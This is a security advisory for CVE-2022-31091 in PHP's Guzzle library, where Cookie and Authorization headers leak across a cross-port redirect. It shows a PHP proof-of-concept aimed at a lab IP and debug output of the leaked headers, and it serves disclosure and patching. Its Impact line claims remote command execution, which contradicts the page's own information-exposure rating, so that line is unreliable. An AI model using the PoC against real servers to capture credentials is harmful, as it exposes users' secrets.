---
title: "CX-2022-5013"
date: "2022-07-21T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5013/"
---

# CX-2022-5013

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Jun 21, 2022

CVE-2022-31091  **Published:** Jul 21, 2022

CWE-200 Exposure of Sensitive Information to an Unauthorized Actor  7.7 High Severity authorization cookie guzzle/guzzle

H haxatron  Reported by Checkmarx Zero

Details Overview

## Summary

Sensitive headers are uncleared on cross-port redirect.

## Product

Guzzle/guzzle prior to version 6.5.8, and from 7.0.0 through 7.4.4.

## Steps to reproduce

poc.php :

```
    <?php

    require 'vendor/autoload.php';

    use GuzzleHttpClient;

    $client = new Client([
      'base_uri' => 'http://10.0.2.4',
    ]);

    $response = $client->get('/redirect.php', [
      'debug' => TRUE,
      'headers' => [
          'Content-Type' => 'application/x-www-form-urlencoded',
          'Cookie' => 'a=b',
          'Authorization' => 'secret',
      ]
    ]);

    $body = $response->getBody();

```

See that the headers are also sent from port 80 to port 81.

```
    *   Trying 10.0.2.4:80...
    * TCP_NODELAY set
    * Connected to 10.0.2.4 (10.0.2.4) port 80 (#0)
    > GET /redirect.php HTTP/1.1
    Host: 10.0.2.4
    User-Agent: GuzzleHttp/7
    Content-Type: application/x-www-form-urlencoded
    Cookie: a=b
    Authorization: secret

    * Mark bundle as not supporting multiuse
    < HTTP/1.1 302 Found
    < Date: Fri, 10 Jun 2022 14:58:01 GMT
    < Server: Apache/2.4.53 (Debian)
    < Location: http://10.0.2.4:81
    < Content-Length: 0
    < Content-Type: text/html; charset=UTF-8
    <
    * Connection #0 to host 10.0.2.4 left intact
    *   Trying 10.0.2.4:81...
    * TCP_NODELAY set
    * Connected to 10.0.2.4 (10.0.2.4) port 81 (#1)
    > GET / HTTP/1.1
    Host: 10.0.2.4:81
    User-Agent: GuzzleHttp/7
    Content-Type: application/x-www-form-urlencoded
    Cookie: a=b
    Authorization: secret
```

### Impact:

An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.

## Remediation

Update Guzzle/guzzle to version above 6.5.8 or above 7.4.5.

## Resources

1. [Commit](https://github.com/guzzle/guzzle/commit/1dd98b0564cb3f6bd16ce683cb755f94c10fbd82)
2. [Pull request](https://github.com/guzzle/guzzle/pull/3043)

0  High Severity CVSS v3.1 Score

   7.7

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: None
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None

Advisory Timeline1. Disclosed Jun 10, 2022 Disclosure published
2. Fixed Jun 21, 2022 Fix released

## Explore more findings

[22 Apr 2026 CVE-2026-42236  Unauthenticated Denial of Service in n8n via MCP Client Registration   8.7  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-4223/) [22 Apr 2026 CVE-2026-42230  n8n has Open Redirect in MCP OAuth Consent Flow   5.1  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-42230/) [27 Feb 2026 CVE-2026-27578  n8n Vulnerable to Stored XSS via Various Nodes   8.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27578/) [26 Feb 2026 CVE-2026-27950  Use-after-free in FreeRDP SDL2   5.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2026-27950/) [27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/)
